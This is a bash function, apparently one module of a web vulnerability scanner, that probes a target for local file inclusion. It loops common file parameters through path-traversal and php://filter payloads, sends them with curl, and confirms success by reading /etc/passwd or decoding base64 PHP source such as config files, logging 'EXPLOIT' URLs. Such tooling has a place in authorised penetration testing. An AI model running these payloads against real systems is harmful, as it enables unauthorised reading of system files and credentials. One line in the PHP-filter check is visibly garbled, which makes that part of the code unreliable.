#!/usr/bin/env bash # Vector 03: LFI v2 — Real File Read # Desc: Finds file params, tests traversal, confirms by reading /etc/passwd # Detect: file=, page=, include=, template=, load=, doc= parameters # Severity: CRITICAL vector_lfi_v2() { local target="$1" local report="$2" local domain=$(get_domain "$target") local base=$(get_base "$target") local findings=0 print_info "Hunting LFI..." # Common file parameters local file_params=("file" "page" "include" "template" "load" "document" "folder" "root" "path" "dir" "show" "view" "content" "inc" "pg" "pdf" "doc" "attachment" "read" "include_file" "include_path") # Traversal payloads — confirmed by reading /etc/passwd content local payloads=( "/etc/passwd" "../../../../../../etc/passwd" "../../../../../../../etc/passwd" "....//....//....//....//etc/passwd" "..%2f..%2f..%2f..%2fetc%2fpasswd" "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64" "..\\..\\..\\..\\..\\windows\\win.ini" "php://filter/convert.base64-encode/resource=index" "php://filter/convert.base64-encode/resource=config" "php://filter/convert.base64-encode/resource=../../../../etc/passwd" ) # Passwd confirmation pattern — if we see this, we've READ the file local PASSWD_PATTERN="root:.*:0:0:" local tested=0 # Get URL params from discovery local urls=$(get_discovered_urls "$domain" 2>/dev/null) local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null) # If no params found, try common file params if [ -z "$param_names" ]; then print_sub "No params found. Probing common file parameters..." for param in "${file_params[@]}"; do for payload in "${payloads[@]}"; do tested=$((tested + 1)) local test_url="${target}?${param}=${payload}" local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) if echo "$response" | grep -qE "$PASSWD_PATTERN"; then print_find "LFI confirmed! Read /etc/passwd via $param" "Payload: $payload" echo "SEVERITY: CRITICAL VECTOR: Local File Inclusion DETAIL: Confirmed LFI on $target via parameter '$param' EVIDENCE: Successfully read /etc/passwd: $(echo "$response" | grep "root:" | head -1) EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi.txt" findings=$((findings + 1)) break 2 fi # Check PHP filter (base64 encoded source) if echo "$payload" | grep -q "php://filter"; then local clean=$(echo "$response" | tr -d '\n\r' | grep -oP '^[A-Za-z0-9+/=]{50,}' | head -1) if [ -n "$clean" ] && [ ${#clean} -gt 50 ]; then local decoded=$(echo "$clean" | base64 -d 2>/dev/null) if echo "$decoded" | grep -qiE " "$REPORTS_DIR/.finding_$(date +%s)_lfi-php.txt" findings=$((findings + 1)) break 2 fi fi fi done done else # Test discovered params print_sub "Testing discovered parameters..." for param in $param_names; do for payload in "${payloads[@]}"; do tested=$((tested + 1)) local test_url="${target}?${param}=${payload}" local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) if echo "$response" | grep -qE "$PASSWD_PATTERN"; then print_find "LFI confirmed via param '$param'!" "Read /etc/passwd" echo "SEVERITY: CRITICAL VECTOR: Local File Inclusion DETAIL: Confirmed LFI on $target via parameter '$param' EVIDENCE: Successfully read /etc/passwd EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-confirmed.txt" findings=$((findings + 1)) break 2 fi done done # If no LFI found on existing params, try appending file params if [ "$findings" -eq 0 ]; then print_sub "No LFI on discovered params. Probing common file parameters..." for param in "${file_params[@]}"; do for payload in "${payloads[@]}"; do tested=$((tested + 1)) local test_url="${target}?${param}=${payload}" local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) if echo "$response" | grep -qE "$PASSWD_PATTERN"; then print_find "LFI confirmed via $param!" "Read /etc/passwd" echo "SEVERITY: CRITICAL VECTOR: Local File Inclusion DETAIL: Confirmed LFI on $target via parameter '$param' EVIDENCE: Successfully read /etc/passwd EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_lfi-probe.txt" findings=$((findings + 1)) break 2 fi done done fi fi if [ "$findings" -eq 0 ]; then print_ok "No LFI confirmed (tested $tested combos)" fi return $findings }